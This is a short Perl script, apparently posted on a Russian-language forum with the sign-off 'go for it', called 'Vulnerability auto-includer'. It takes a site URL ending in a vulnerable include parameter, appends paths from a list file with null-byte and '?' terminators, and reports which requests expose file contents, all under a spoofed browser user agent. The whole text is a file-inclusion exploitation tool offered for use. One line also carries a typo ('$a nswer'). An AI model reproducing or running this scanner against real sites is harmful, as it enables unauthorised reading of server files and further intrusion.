#!/usr/bin/perl
use LWP::UserAgent;

if (@ARGV < 1) {&usage(); exit();}

$|=1;

$timeout = 0;
$log_inc = 'all_links.txt';

$host = $ARGV[0]; # сервак
$search = 'GET';
#$search = 'ServerRoot';

@ends = ('%00','?','');

open PATH,$log_inc;
@paths=<PATH>;
close PATH;

foreach $end (@ends) {
foreach $path (@paths) {
chomp($path);
print "\r\nTry ".$path.$end."... ";
$answer = &query();
if($answer ne "not_find"){print "YES!!!\r\n\r\n=========================\r\n\r\n$a nswer\r\n\r\n=========================";}
else{print "NO";}
}
}

sub query()
{
#print "\r\n".$host.$path.$end."\r\n";
$sock = LWP::UserAgent->new(timeout=>$timeout);
$res = $sock->get($host.$path.$end,'USER_AGENT'=>'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
if($res->is_success)
{
if($res->as_string =~ /$search/) { return $host.$path.$end; } else {return "not_find";}
}
else{return "not_find";}
}


sub usage()
{
print "
Vulnerability auto-includer

Usage: auto_includer.pl http://site/path_to/page.php=

"
}

Дерзайте )